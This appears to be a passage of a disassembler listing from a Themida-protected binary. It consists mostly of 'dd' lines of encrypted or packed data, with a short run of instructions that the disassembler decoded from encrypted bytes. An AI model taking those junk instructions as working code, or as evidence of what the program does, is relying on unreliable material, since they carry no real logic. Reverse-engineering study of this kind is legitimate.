		dd 2B0EA021h, 2C07F830h, 184A67DAh, 0D248A863h,	5E766878h
		dd 902028D9h, 0A99460F2h, 37C7806Ch, 0C62E03Ch,	387536C1h
		dd 7CCD0044h, 4DAFB60Ah, 770BDEDCh, 194E5A47h, 44604F34h
		dd 8A4DEBh, 0F9042421h,	10807A57h, 284577DCh, 281C4C5Ah
		dd 0F214256Fh, 0A3149AB3h, 7E59C02Ch, 4B8F025Dh, 683AD7ACh
		dd 4063C502h, 36C1B2C4h, 91A04679h, 402A21h, 70322EEFh
		dd 0AE82A053h, 68CF41C8h, 14427359h, 0DE884077h, 0C70D28D7h
		dd 0B1E950B4h, 96491B4h, 48879DE2h, 0E000D879h,	41442C7h
		dd 0C8701925h, 884428CDh, 1F71FC90h, 99E0007Dh,	3229F734h
		dd 29B0EF32h, 6B14C877h, 0EADC9041h, 3B50122h, 12C1B3B4h
		dd 0E140963Ah, 0D7E32841h, 78A42D10h, 0A9DA00B8h, 5E8A1E38h
		dd 0CD9BE100h, 80FA542h, 2D5B07E2h, 0C7E33EE7h,	0ED57C186h
		dd 0C22C60ABh, 9935D140h, 81642C64h, 0BAF2AB4Dh, 0EBA84167h
		dd 3354E0FCh, 1024E54Dh, 3F0063B8h, 0E385DC08h,	0C67943EDh
		dd 0CFE86C90h, 0E7555D0Ch, 74EB380Ch, 0DBFCA104h, 0ACED2E10h
		dd 0F0E98890h, 0D7F8DA4Eh, 0A4E6AD29h, 58408612h, 0DF4FAFD6h
		dd 0CBE0508h, 0C00AB028h, 9911F844h, 0E50D95Ch,	23CFB544h
		dd 4CA89E49h, 8304FC38h, 81E863ACh, 40725AE0h, 25236F08h
		dd 97099AF8h, 0B0E35h, 0C8D07E88h, 0C09249F3h, 2CE76410h
		dd 3409480Eh, 8ED4AEEDh, 0E5C1613Eh, 4C725FCAh,	1DD9007h
		dd 0D74830A8h, 86582862h, 24C10918h, 0DE04A71Fh, 2B5206B0h
		dd 89C71CE1h, 4F31619h,	0D9328434h, 0DED2FC90h,	299B6180h
		dd 19C1A12h, 0E7495ED9h, 9003014h, 0AF183860h, 0D00577C1h
		dd 0B374E469h, 0E490690h, 70AE40B1h, 0EF1854B0h, 0D7109130h
		dd 0C0105417h, 0F6CA009Ah, 0B888F04Dh, 9D33C1B7h, 0E87D38E3h
		dd 901BDF49h, 0F42158C4h, 17C6D040h, 0A7E953h, 8BFCCC08h
		dd 6E0DDC99h, 10DBEFA8h, 0C48A4F1h, 42D0B84Dh, 7BD70849h
		dd 1E0F1256h, 46700DAh,	55EF317h, 3E2AC378h, 42036C06h
		dd 0E5702DBEh, 0F44112F2h, 2D453B3h, 0FC94ED4Ch, 0D3C128E8h
		dd 2C60042Ch, 2628E6E6h, 0CFFE94Ah, 0E141D4D7h,	3E649E00h
		dd 1E703DC8h, 4A60C1DEh, 47623C49h, 7F5837A4h, 215E05h
		dd 713F2884h, 0E6009963h, 32F72D23h, 30C1A7FEh,	7E7848E4h
		dd 0C70021CDh, 0A4266F8Eh, 185E5BEDh, 201AE9C2h, 0AC00F434h
		dd 0B54004E4h, 1C230F95h, 977026BEh, 302040B2h,	49C77E33h
		dd 3CC9459h, 9BD7D934h,	0E3B826D2h, 22431248h, 0D730BCE0h
		dd 0DEA0A4E4h, 0FD5A0A98h, 329997F8h, 74C1B068h, 451C4093h
		dd 6530C1B4h, 0E58820D2h, 602DF0BEh, 46DBB86Dh,	0FF659349h
		dd 2405DD40h, 0EC49F28Ch, 2258A975h, 0C113125Ch, 0EF0190h
		dd 2AB34841h, 3DC40441h, 44CDF5Ch, 8C4AF2F5h, 0EF0E483h
		dd 0DA4B6F49h, 5F02092h, 20F663FFh, 0D1343A16h,	800D7808h
		dd 8E514CC3h, 4230702Bh, 266E408Bh, 0ECAF0520h,	1ECEC6E0h
		dd 27CBFAE0h, 0D2FE94C8h, 4C500A00h, 0E09F9920h, 11400257h
		dd 563FED2Fh, 0B954A060h, 2B23C11Bh, 8C49E0C8h,	6452CE28h
		dd 0A202EF82h, 133CCC51h, 0F431ABF9h, 58C4A1DAh, 0E89D0272h
		dd 1BD7E2B4h, 0B8024C50h, 0E1474C61h, 9EE48744h, 0DE51BC43h
		dd 1CE02911h, 1049090Ch, 0FCC03442h, 68C0DB76h,	0ABECEB42h
		dd 40189040h, 100131A3h, 8461BBCEh, 38609C7Ah, 0E65740AFh
		dd 0E2077098h, 6C61B53Eh, 5BC019DBh, 49841FAh, 85244900h
		dd 0F842F4AAh, 0CC2ADCC0h, 0C079ED80h, 4942DAF0h, 28C0F0A6h
		dd 663DE440h, 0ECE558ACh, 3299A500h, 494C5988h,	0B0B9D101h
		dd 745A54EFh, 4D6F0841h, 2ED71443h, 8A7CEB68h, 92F469FBh
		dd 0B438209Ch, 97267AB1h, 0E51024E9h, 8BC4E206h, 0DB3AE877h
		dd 0BB996579h, 9450D014h, 7A71E60h, 0A896007Ch,	48F3C710h
		dd 59670BDDh, 0BF81AB75h, 0E946AF9Bh, 2931F008h, 899CEC0Ch
		dd 704BD0CBh, 7C580293h, 23708201h, 0C25B0884h,	9C8EE8B8h
		dd 9EF91E20h, 0A954AD4Dh, 92EE0EB0h, 72D9B403h,	6227D8h
		dd 2B34CFD9h, 0D6485174h, 7699670Dh, 23CC18F3h,	0B4E40356h
		dd 0EF4A6053h, 0D1C25789h, 8D09CF4h, 182182BFh,	0C9A081C7h
		dd 70246330h, 59E2404Dh, 16CBCAEAh, 66C005A6h, 99782183h
		dd 943586C9h, 60F538BDh, 0B988106Ah, 0E7595C49h, 0C0C17E44h
		dd 6DE0BA19h, 0B209E444h, 892C8EABh, 0BB4885CCh, 0D3383C04h
		dd 54E63E02h, 25BAE0C0h, 0B4C1BB0Bh, 125C141Dh,	88D77048h
		dd 4FE8B094h, 1B7443Ch,	385D784Eh, 0A4206FDCh, 53550354h
		dd 96DB70F4h, 13414000h, 5FDA0725h, 51EF162Ah, 7A104B90h
		dd 33BE3023h, 10C06FBAh, 7B1D3688h, 8000162Bh, 610EFE59h
		dd 41A20920h, 0AC206949h, 0E1C27E23h, 0EB0CB38h, 0DDB8C6BBh
		dd 0D86F0901h, 0B42931E2h, 0ECB85D38h, 7676F858h, 613C3E3Dh
		dd 88CE7036h, 88BBEF2Ch, 11419426h, 0EB309588h,	462F2CBDh
		dd 5F666588h, 0AD400EA4h, 1385617h, 32702E58h, 922835A6h
		dd 708845C8h, 9C645054h, 9090E3h, 3A91B13Eh, 0C8FA660Eh
		dd 32416F00h, 0C1D369A8h, 4184B0Ah, 0C368DE00h,	491FEFC4h
		dd 386E5A17h, 0F526582Ch, 0D6ED4B00h, 0B9680CD7h, 39F083Ch
		dd 4826FC29h, 1D57208h,	1470AA57h, 21E034D4h, 0A42EDD44h
		dd 0C2501258h, 33344159h, 86DD4C72h, 40FEC1E9h,	0B5A80618h
		dd 40943449h, 4801DC09h, 16F00FE1h, 898488h, 0DA496F34h
		dd 0BA20B885h, 216E8F01h, 0D2DD70D8h, 0EB547080h, 0E955AADBh
		dd 0ED861D07h, 0D68113E7h, 10804031h, 0A1CD991Ch, 7400989Ah
		dd 7B655F1h, 1DC9CD4h, 0FC480DBEh, 305EEDC4h, 0D7E8F2E0h
		dd 93768600h, 7134EEFBh, 0D6C80C90h, 0C761EB35h, 3FAEE400h
		dd 56CE57DBh
		dd 46EE28B0h, 0D6860CF2h, 49791EC5h, 6613CB12h,	0ECB46000h
		dd 60361120h, 0E03D4090h, 0CCE0AA0Bh, 4778ADEAh, 5A99C900h
		dd 0AF6FFE68h, 1E50C06Ah, 1F7D095Dh, 557A5874h,	60380B30h
		dd 3DDAC0BDh, 73E5F48h,	78DDF807h, 85A887FEh, 470803AFh
		dd 0E000DFBFh, 0BB11A20Ah, 0C127703Fh, 832A0F38h, 7763702Ch
		dd 9F4570C3h, 8535C129h, 0B410A6h, 0AD52EAD5h, 0C4007558h
		dd 45AE63CDh, 77FAD6B6h, 8DC01811h, 0FFEE5054h,	73A0AB54h
		dd 0A206FB79h, 0BC33FB2h, 0DB6F1020h, 44550A62h, 0FB94A8E8h
		dd 0B5E20FD8h, 60B80085h, 14B4485Bh, 0C8F37EC0h, 83020D00h
		dd 6811AA62h, 0D0579901h, 546392B2h, 4716E0h, 515866D1h
		dd 0C97C7927h, 80426E03h, 0E37143FAh, 179F8869h, 21DF0F5h
		dd 660DCAB7h, 9C865CCEh, 0B43F78B0h, 0DF3C773Fh, 832201F0h
		dd 63B20934h, 90ED6EC0h, 43E30A08h, 3EE8BDE8h, 0DF83C86Fh
		dd 0A9A68A9Dh, 0B33338C0h, 0F2546B3Ah, 0C0DCB0D6h, 6FD18F28h
		dd 38C3B6EEh, 15DBEA53h, 8413AEF8h, 17400850h, 3DDE51Ah
		dd 0E10722D3h, 0E1BEFF8h, 873FB118h, 618B6F69h,	6378487Ch
		dd 0D10330FBh, 924610C4h, 0C88D8091h, 27C5D88Ah, 581D00C4h
		dd 0A55D2E53h, 0D5626F10h, 6A4C6D01h, 0F0483DECh, 5E00EE18h
		dd 20760C0Bh, 1BEB630h,	914D57B9h, 809AC148h, 19140480h
		dd 44E3F592h, 0AE40F774h, 8A10C370h, 0D8E08B78h, 59244176h
		dd 0D641AC48h, 0F08128A8h, 0A6FB755h, 49188F89h, 118AC0C5h
		dd 6F1CC0FBh, 0A52330C3h, 6182424Fh, 556FB440h,	0AAAD40h
		dd 0D75E43Ch, 0BE8AC520h, 73594401h, 89D54084h,	93353C60h
		dd 43183C1Ch, 29DDC05Bh, 798FD2Ch, 99687B0Ch, 98B75014h
		dd 6FC10F12h, 79E4267h,	55DC2371h, 47F823A6h, 948007FAh
		dd 48423627h, 20B6CD26h, 0B8007093h, 2FEE8E37h,	26F1B32h
		dd 26C038F4h, 11129263h, 18219BE0h, 5E80766Fh, 0BC193F86h
		dd 60096EFAh, 24EAC0h, 0B9DE0E98h, 544D1E07h, 49800FB7h
		dd 0CB6FA781h, 74388AD3h, 908C07Bh, 0CBC22E2h, 7E5D6DDh
		dd 1732C6B0h, 876070A4h, 0D4A648B0h, 9A082010h,	61B820h
		dd 1E328C97h, 4FBD0719h, 3ABBD803h, 1D82AD48h, 1E715B20h
		dd 18ED220h, 39CEA0A4h,	0F3AC30ABh, 24CDDF07h, 70059D2h
		dd 0FFD97B1h, 0CA882C01h, 8D90Ah, 7681D8BDh, 0BA39D662h
		dd 0AFC00C11h, 913FF002h, 0E41A0114h, 0F0F6B2FAh, 72018B9Fh
		dd 0D68F0382h, 0BC244AD9h, 729849Eh, 0E512D0B5h, 0EA498002h
		dd 59C2E3h, 0FCDF07E0h,	435D06EBh, 386A2848h, 31AA4013h
		dd 6D608431h, 0C1DC8530h, 4D5A5E48h, 0D6519EF2h, 1000B412h
		dd 3FEC6914h, 0B6DF0211h, 8631C5C2h, 0A6A7BAC0h, 6F3038C1h
		dd 882591B8h, 0E81280BCh, 6EFC44A3h, 0A8748892h, 345C140h
		dd 0C928AF77h, 96D72E16h, 0EC07984Ch, 3BFB6B76h, 0C3C58F73h
		dd 4C104878h, 0D73F6106h, 0A00C151h, 6E3C8A83h,	50B66F4Ah
		dd 0F761ACCBh, 12588004h, 5D007F06h, 0ACFB9DE0h, 0EE87455Eh
		dd 1D972448h, 98661868h, 0F2E63DBBh, 763F820Dh,	10986167h
		dd 4A5A192Bh, 0E824C6F0h, 0B29F2CDAh, 809C1C54h, 0C74B6ED8h
		dd 21BD699Ch, 0DA1A3C83h, 5000286h, 38F6253Fh, 0A02DD801h
		dd 1B335B07h, 6312404h,	798B0D3Ch, 147D6674h, 5854500Fh
		dd 0E94BB805h, 0A2060EBh, 0FF1BC581h, 93F6DF71h, 0AC168C60h
		dd 52D830h, 0E2D05CB2h,	0C074F280h, 0E91805EAh,	5E268279h
		dd 241C1E8Bh, 29E68C52h, 0DAEC5914h, 0CF5D4C60h, 76E132CAh
		dd 61F71E24h, 16B0018h,	7CE95FF8h, 0B928076Fh, 36E49C46h
		dd 6550BFD3h, 2C1FF30Eh, 4D80734h, 2CFF5B47h, 39CA1FD9h
		dd 30FAFEF5h, 8B14F1D3h, 5105240Ch, 0C181E189h,	0BB537500h
		dd 7C8C4610h, 0B4E3010Ch, 0F708E47Dh, 73F3E0DBh, 30893818h
		dd 6568D0Ch, 0E3C1100Dh, 74001203h, 1BFFEA8h, 79515BD9h
		dd 4240AFFh, 6B38F59h, 0ED75D1E9h, 60B4EA01h, 0FA016394h
		dd 842C2E1h, 3191825Fh,	30CA085Bh
		db 3Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		clc
		jno	short loc_4E5E21
		push	edi
		sbb	al, bh
		push	ss
		mov	al, 60h
		cld
		mov	bh, [edi]
		or	al, 12h
		adc	eax, 38FD15DEh
		add	dh, gs:[edx+68h]
		pop	edi
		push	edi
		mov	edi, 71766F90h
		jno	short loc_4E5E0B
		add	[edx-46h], dl
		jl	short near ptr loc_4E5DE1+5
		mov	[ecx+4Ah], bl
		test	dword ptr [eax], 0E2F281DAh
		bound	eax, [ebp+2]


loc_4E5DE1:				; CODE XREF: Themida_:004E5DD3j
		shr	dword ptr [eax-7FCF5522h], 59h
		add	dword ptr [edi], 0FFFFFFC4h
		add	al, 21h
		lock pop esi
		icebp
		call	near ptr 571E8F00h
		push	eax
		or	al, 53h
		pop	eax
		mov	esi, eax
		test	eax, 1CEC4881h
; ---------------------------------------------------------------------------
		dd 1EE5FCC5h, 0BC4D4B8h
; ---------------------------------------------------------------------------
		or	al, 68h
		pop	es


loc_4E5E0B:				; CODE XREF: Themida_:004E5DCEj
		push	es
		lds	esi, [edx+eax]
		and	al, 0BEh
		db	26h
		insd
		les	eax, [edx]
		test	[eax-5F08F1D9h], dl
		xor	ecx, 1FA8C882h


loc_4E5E21:				; CODE XREF: Themida_:004E5DB1j
		mov	eax, 46CA5A51h
		sbb	eax, 0F368878Ah
		pop	ebp
		inc	ebp
		mov	[eax], eax
		in	al, 0B1h	; Interrupt Controller #2, 8259A
		cmc
		sub	al, cl
		jmp	near ptr 0AB94AC59h
; ---------------------------------------------------------------------------
		db 64h,	7Bh, 0B5h
		dd 3C0BCD50h, 8134A5A6h, 0CE441749h, 0C7400552h, 79716A56h
		dd 0FC6307F6h, 0B9C39DC2h, 0E87D1FDh, 9F8001B3h, 0FEDBF601h
		dd 422602CBh, 2CDC0C84h, 5800E556h, 0CC00B850h,	403C3E28h
		dd 0FE062B2Dh, 3AAEA6Fh, 0E9367F33h, 7E24390Dh,	5E209354h
		dd 0F4A747E7h, 5F7E93C5h, 191B824h, 25EB860h, 500D1896h
		dd 2EE9F6F7h, 0D7A07392h, 0B207730Eh, 5E5C14Ah,	49BEED90h
		dd 0E9310D0Ch, 0D94A3F8Ah, 0DED420D9h, 778536DCh, 0F5C39D1Ch
		dd 0B6645010h, 68FBC080h, 29BC05D5h, 0F8539CA9h, 48D413AFh
		dd 81020085h, 87BA1EEBh, 548FFC4Ah, 0FBD7E970h,	3C47C8CCh
		dd 0DF3C2FA5h, 6F85EF03h, 1C1E7A30h, 0FF929B5Eh, 655F890Eh
		dd 9E145AD5h, 0DFD0981Dh, 6D03F48h, 8CED0F6h, 2C335809h
		dd 76706B8Eh, 0B2E91884h, 34FF4018h, 0A84F10DAh, 0A522B06Bh
		dd 9CAB57F8h, 0B2A444C5h, 0C23107D3h, 7408D026h, 68520AF7h
		dd 66C30797h, 580C5D5Ah, 1A7E51E9h, 5C43980h, 88CCEC87h
		dd 8AB3D7E3h, 4F18BC1Ah, 2D5C60EDh, 137EEA09h, 5778573h
		dd 30D4071Fh, 43270781h, 44F41DE9h, 6B5829C2h, 172BD161h
		dd 0F98554BEh, 1CC1835Fh, 7B6AC0FCh, 54E986CEh,	27226569h
		dd 0B0935CF5h, 0BD12028Bh, 1A436227h, 62430F42h, 6305898h
		dd 0AAE96E3Dh, 0EB01BB0Ah, 2D410C55h, 0C3E1D301h, 84E90840h
		dd 0E8FEA838h, 71E0E604h, 7EC62405h, 571333h, 0B4378B3Ah
		dd 0CC2AE947h, 0E369817Ah, 0E2151948h, 925A2664h, 0F8A528E5h
		dd 0B8557E8Eh, 0BE1CC00Bh, 5CED36A7h, 7CDEF739h, 0B4044FCh
		dd 1A3203BBh, 0DA296D2Eh, 256788E1h, 754E8C6Eh,	904B0E6Bh
		dd 4EF92058h, 0D3F75B03h, 3C06EBC1h, 0B0980DE6h, 86569A48h
		dd 89604513h, 0CD01E600h, 26E95E59h, 40E1491Ch,	3E8A5DABh
		dd 71680CC2h, 0C07F4241h, 1329EBAEh, 66D789BEh,	10042845h
		dd 29734506h, 801FBD4h,	1487595Fh, 0D840C666h, 97A44C68h
		dd 10486A94h, 89A28474h, 0C92CAC46h, 55610E20h,	1DBC02BDh
		dd 145DE892h, 6592549Ah, 588326C9h, 5D025A99h, 0A2593EE9h
		dd 895FFBA2h, 1E4E2885h, 0ACD2943h, 0EC6CE955h,	43FD26DAh
		dd 253F6243h, 0EA3CB8F7h, 5909410Eh, 0EB51A4CFh, 4044028Ch
		dd 0A603B901h, 314E830Bh, 0F53BE1CBh, 0C15B2E8Eh, 30602ECh
		dd 8D882E98h, 5805F681h, 29B6E8ABh, 0CA5C011h, 22447DE9h
		dd 63C84C84h, 66791D32h, 0F631A044h, 0B95112EEh, 4C014541h
		dd 2AF38247h, 0DEC3001Ah, 0C4C6815Bh, 1C48C106h, 79D51024h
		dd 58E68800h, 247C8A59h, 0A2A30278h, 5BC066A2h,	62CBEAB1h
		dd 0FB5988Fh, 304C90B6h, 0C2C33B5Eh, 89241709h,	9400136Bh
		dd 5615B053h, 14B0FBEh,	0EE802DD1h, 7C4D4E90h, 0FFE6C128h
		dd 0D90CC675h, 0F8311A28h, 29503F2Dh, 0D0016205h, 5A070405h
		dd 0BFF9087h, 84300FC0h, 5053EDEBh, 0FDE8F768h,	1B584871h
		dd 61548103h, 41C5E94Fh, 3B1EBBDAh, 764060F2h, 0A8C013B2h
		dd 0E4AF5654h, 5AD11429h, 312AAA33h, 815E7CADh,	0CEE6F966h
		dd 69D0D383h, 0FFF529C1h, 357DAEE6h, 0C1E8013Dh, 0A8F5DDDh
		dd 538F0CC6h, 2946BBC3h, 0B7D8343Eh, 0E9512E5Bh, 1835524Ah
		dd 0A7BBBCD9h, 0D3032358h, 57C995B5h, 734205E9h, 192A7835h
		dd 0C648E84Fh, 0C4EE0082h, 6864D491h, 98CF9A27h, 0A0D62FAh
		dd 23C61C87h, 3991B820h, 0F92ECF31h, 58121164h,	992A782Ch
		dd 96803743h, 13C9537Fh, 55A846E0h, 1561FC28h, 0E2501D60h
		dd 6DCF5CB0h, 94301810h, 0E3351433h, 2E523BA4h,	5E93C873h
		dd 7D81F80Eh, 0D66E5838h, 0C868D420h, 0C47BDB32h, 49CA1F40h
		dd 0F41417D7h, 0CD93108Ah, 40FDBF04h, 0D5FD813Eh, 0C5DC72F0h
		dd 1F5208CEh, 485A1522h, 5C665C6Dh, 0AB8A1821h,	61A886h
		dd 2A6D01DAh, 895EF331h, 9472D85Dh, 4A8476BDh, 0BF2136F9h
		dd 10A1BB70h, 867FCACBh, 19A2F447h, 653ED80h, 59E8C0C5h
		dd 3152848h, 0F66CB652h, 0C0EEF2D6h, 0D8D0B355h, 1B0AE032h
		dd 2AD150D5h, 1FA0E4ABh, 51126779h, 8500505Ch, 5FA26248h
		dd 0F95209B8h, 560716FAh, 0EF83CB5Dh, 38008874h, 407E0C0h
		dd 98C328D7h, 7F507D05h, 1C177D8h, 92C9805Bh, 0A87EE5E9h
		dd 815129D7h, 5F750396h, 4CCCC7C3h, 26E90C83h, 6FD121ECh
		dd 1161FD06h, 0EE02FF92h, 58220B84h, 80A614Eh, 0C8CC1482h
		dd 0AF602997h, 6EA2F89h, 6CB0F3EEh, 0EF5E0881h,	343BE4BEh
		dd 154860Dh, 1E245DEBh,	0EE443BB3h, 96CC98Fh, 90C4E8FAh
		dd 23125015h, 11163EA7h, 0DA00F181h, 0CF21789Eh, 0EFC11A59h
		dd 0D600604h, 39CB03E7h, 53283A34h, 671B0920h, 69EEF310h
		dd 54608781h, 5F0C15Ch,	6BFFBA52h, 9104E185h, 9CB6253Ah
		dd 665D5416h, 2503294h,	0FC79ED37h, 55904779h, 3FF2DC70h
		dd 6F09AD98h, 8F3D5B6Bh, 5006005Ch, 602FE926h, 49C53B40h
		dd 163B622Bh, 0EEF58059h, 1370F79h, 75D2B2E9h, 5642450h
		dd 9D5864D0h, 0E91C206Fh, 0A0829820h, 0C34EAE4Dh, 5BD8210Dh
		dd 817D36F9h, 1DF10512h, 42206FE3h, 407A22Dh, 0D78AF5A7h
		dd 3AFA2A7Bh, 685B093Dh, 50980CE7h, 0E8D05E54h,	88A1DDBDh
		dd 0B8245320h, 7E0CEA29h, 4ED69CBh, 53265237h, 92BCA25Ah
		dd 125D0512h, 61983226h, 48C2683Bh, 49DFED07h, 0C3642290h
		dd 212E6184h, 0C1C19FD0h, 0E87010E8h, 7AF72E68h, 26596F75h
		dd 44FA6433h, 586CF667h, 9E44FE65h, 5191875Bh, 0B404527Ch
		dd 145373C9h, 5E5A098Ah, 266D9452h, 8C1ED6E9h, 0E144C2B7h
		dd 0BF570EC0h, 881990h,	0EEF8139h, 31975946h, 555FFD14h
		dd 0E1F130DFh, 2550EE89h, 4D818156h, 8D637F5Fh,	2245D8A4h
		dd 44400D4Bh, 685C885Fh, 0A02AEA29h, 14E170BCh,	0E241A98Dh
		dd 43D47CD8h, 82C05DE9h, 0CC32FF1Dh, 5BCCA9Ch, 8F24C20Fh
		dd 2C22453Bh, 1F8DFB4Dh, 0C840053Dh, 905BB102h,	0D2F71F17h
		dd 0A695F247h, 10D2DC37h, 8C046667h, 345649E3h,	0BB8087E2h
		dd 2F3FE95Ch, 1AE313D1h, 80106454h, 95CCF99h, 1D5D4EC7h
		dd 0F444023h, 0F8317EF2h, 223C8B26h, 177DEB50h,	45ECD2Ah
		dd 0E5787503h, 9B1E3050h, 0BC92E0A9h, 0F3492ECAh, 0D9059BA7h
		dd 0C3813F6Ch, 0AA7B26BEh, 0B96EC18h, 0EA50C0ABh, 7A6FF0F1h
		dd 4106E35Fh, 5782D081h, 0F7321234h, 580208D1h,	3C3FB01Eh
		dd 3941CAB4h, 0DF41C70h, 581E0C80h, 0E1D16711h,	7EA9E912h
		dd 830B95CBh, 4D8A02EBh, 56FE4CB4h, 0B93CBEEAh,	0D0BF8D64h
		dd 99A86460h, 13C8321Bh, 3A70F8D7h, 18BFB8A5h, 500A4B79h
		dd 17E877B8h, 4F756B2h,	1F4721B7h, 7B604200h, 0B140D66h
		dd 0C1468707h, 35407F00h, 0B304AB05h, 58C5017Fh, 935BD4C8h
		dd 8078B46Dh, 33022BC2h, 24A3F2Dh, 40EAC140h, 3030C25Eh
		dd 0D0DC6532h, 0FBA3975Ah, 0E9E8D198h, 0C0EBBF37h, 5170FDEAh
		dd 6A5A0968h, 462F1AD2h, 0CD2A0105h, 4AD2035Bh,	444104Fh
		dd 33098C53h, 6314606h,	0FD4D0DD6h, 632006D3h, 969EAB65h
		dd 0B90C481Fh, 4D4538Ah, 111532E9h, 0C8E2C6ACh,	0A9036h
		dd 8339D0BDh, 0FAE58132h, 59F30402h, 4ACBE94Dh,	0C022C253h
		dd 1535160h, 0CF80FAB7h, 0D4C7FEB4h, 6CCEAEFh, 0FD3516ACh
		dd 63E990ECh, 0E0B26F4Ch, 0A3DFF2EBh, 8D006EE6h, 0CA3D51F1h
		dd 3DCE0102h, 4B296859h, 6288A68Ah, 88E1D601h, 0D6E9A0EEh
		dd 14F5B48h, 37D32FB3h,	7860CB09h, 7FF301EBh, 0F4E93FDBh
		dd 0F76B8139h, 72AB5214h
		dd 0E28E30h, 2D7CBD16h,	5F8D01D8h, 0A8F82924h, 81FA0820h
		dd 3BEE351Dh, 9574C243h, 0E9F0E878h, 0E6D9404h,	41EA028Fh
		dd 0D92FA7A1h, 0A4CA3424h, 7640C08Bh, 3C87295Dh, 0CFE08DCh
		dd 5B3F229Ah, 49551FADh, 0CE6ECC7Dh, 5624CFB2h,	43100E53h
		dd 8F685C31h, 4FBD0022h, 6234304Dh, 0CBB2D1E6h,	0F3E99D0Bh
		dd 52261911h, 6821E2D1h, 0EA244C23h, 0FD87620Bh, 52FC300Bh
		dd 0E2599053h, 5B773278h, 500D5FAh, 0AE41196h, 2DD82930h
		dd 145B1207h, 56814483h, 6263E3E9h, 0F1D4DB28h,	119465A7h
		dd 6903CE7h, 5C0EA291h,	239477FFh, 0BEBD8DAh, 22BF2602h
		dd 404C2F53h, 1594AE9h,	0D731732Ah, 43FE895Ah, 0C042D49Ah
		dd 915C2DCEh, 0B00545CBh, 0D809E3AEh, 807EE242h, 0A83E7F77h
		dd 4AE93928h, 10955858h, 10256809h, 327A5F30h, 4A43F52Ch
		dd 155B3900h, 8860E935h, 667BF908h, 1967807Ah, 0C1F46206h
		dd 5C2005F1h, 1B211DF9h, 0F649437Bh, 0C7C2A8EFh, 0A9661342h
		dd 17C0F703h, 0BD575A7Bh, 30028401h, 70307A47h,	5F07A1F3h
		dd 0BC7A5038h, 0CC55137Dh, 0D94C8CA9h, 65BCB21h, 8E13364Fh
		dd 0FC9E90B5h, 0B6CD9248h, 10674AE2h, 528726CDh, 590D516Dh
		dd 94052709h, 16424729h, 60EBD82Bh, 47ABC44Bh, 1125E1Dh
		dd 8985BDEh, 0D8A7D2C5h, 0C0768365h, 0DBA62E9Eh, 0C5CDDB18h
		dd 0CE7603F8h, 2E5C17Fh, 3B0D1201h, 98E90A4Dh, 37BCC38h
		dd 866677E7h, 0DBE74709h, 6202C529h, 0C22820h, 0C3A98A8Fh
		dd 84EF82Ch, 22CD8106h,	250C8825h, 0EE1301EDh, 0B8EAF7D8h
		dd 0F9D53128h, 0F1B203AAh, 0E9864AC5h, 9326A6h,	63BFB5C5h
		dd 5DEB892Dh, 0E9DF0106h, 9E80CEDDh, 0F13162BFh, 7F8E084h
		dd 2D735452h, 0C749005Fh, 0A4DFA8AFh, 0F8F7FE29h, 0FB11E7Ah
		dd 0D5038148h, 4533E40Dh, 4E80B334h, 6E4F40BAh,	0D75C2968h
		dd 0B1F720CEh, 620C6D09h, 38532409h, 3FF55B46h,	444BB6E9h
		dd 130C7830h, 78C84513h, 0E9D9C3EEh, 665AF9DAh,	787CCF62h
		dd 0CD681208h, 802A3726h, 10E65E73h, 5B56E917h,	0CEFED941h
		dd 6A605166h, 0EFE7C007h, 65D05377h, 25186780h,	0EE400DF8h
		dd 2612BB2Dh, 64243B4Dh, 8334A08Fh, 29B2080Ch, 0CC545709h
		dd 906B849Ch, 21492EFh,	1C6D14B8h, 5802D73h, 72E9C389h
		dd 7F5B0D63h, 840F8020h, 1819929Dh, 4B3D2368h, 6940AB7h
		dd 2940F680h, 9E68106h,	27AB2C34h, 1CBE784h, 0BB53D6F7h
		dd 58B671E8h, 0C8019549h, 0C1699A2Ah, 0F3CD20E3h, 83852F04h
		dd 0B58131AAh, 8538F029h, 7C7953A2h, 60094630h,	14616C7h
		dd 1C3C07C3h, 0C153504Ch, 0A8BE07E7h, 69141128h, 1B97D27h
		dd 1CB73BF6h, 1365FB01h, 9679BB20h, 0E25345B8h,	0FEFF86C5h
		dd 0A5BF06CAh, 62455A2Fh, 26D00848h, 0BD819BC4h, 163D2982h
		dd 0F72C042Ah, 459D80D5h, 0C748A530h, 2B375029h, 39525040h
		dd 0F125FE88h, 0AAA42C8Fh, 0F7010249h, 6678785Eh, 631A433h
		dd 4FE563EDh, 5520928h,	0CA8064B2h, 7B09C8B8h, 0B900F2BCh
		dd 50D65574h, 0A8C14881h, 1E98D9Dh, 81D57145h, 0BCF1EC1Eh
		dd 6B71296Dh, 2D24B4EDh, 90EA6483h, 0F82FE514h,	92952008h
		dd 3A2F862Eh, 0D5BA01DDh, 422EEA54h, 2003D1C1h,	0B517655Bh
		dd 0AA0FFA22h, 79F6215Ah, 0C370BC46h, 83F8A9F1h, 7309E900h
		dd 0B5514CC0h, 4AEE285Eh, 80D12859h, 70FF33F8h,	0E44E8390h
		dd 3FA8FA74h, 3B1BD50h,	80E9D0B6h, 0F19913E1h, 0ED069E3Eh
		dd 2861EB44h, 307559ACh, 50145966h, 249EB5E9h, 443CF618h
		dd 0F8D1A916h, 40B0B248h, 0CE772903h, 0E195530h, 5884685Eh
		dd 1DE5D60h, 44BA504Eh,	6398E28Bh, 6213B1B9h, 0BB088773h
		dd 31BE2084h, 0CAE74AD4h, 741CF916h, 0A70BBECEh, 0C0772376h
		dd 98DEF77Bh, 0D6A300DEh, 0F3298912h, 38E9E95Eh, 0CA881B63h
		dd 99AB9BD4h, 0EAD8B4C2h, 0DAF60BC9h, 81A5D7E9h, 902EB45Ch
		dd 38F35E12h, 0E7CCC02h, 39EF82B3h, 47B70354h, 0BB21CC85h
		dd 44AD9CA1h, 0E1AD84A1h, 2C2200Ch, 666018BCh, 0AA50F9F7h
		dd 61F9799Dh, 621668E9h, 76049308h, 0B819FB1Fh,	2CA27161h
		dd 0B9510020h, 6C6F330Eh, 288500B8h, 0C8314B1Ah, 9D042D59h
		dd 355C0C16h, 0CB695E81h, 7E339340h, 1603BB4h, 8EE5178h
		dd 6FB1002Ch, 0E3918079h, 3D276068h, 0F90095F7h, 2C484B53h
		dd 0D4B2BE05h, 13D7EBDDh, 0BF1DF235h, 66CC80A5h, 0F7B65250h
		dd 35F00361h, 8154D786h, 2E2616E5h, 46635E30h, 2672786Eh
		dd 27358C2h, 1B5D1968h,	0A5C9DDC1h, 18BD4B52h, 60D2F708h
		dd 6A4FE958h, 0C701EE07h, 86614589h, 121FCEE9h,	0A372D13h
		dd 0C225A800h, 7976BC0Dh, 34720535h, 0F167E926h, 0CF2C60D2h
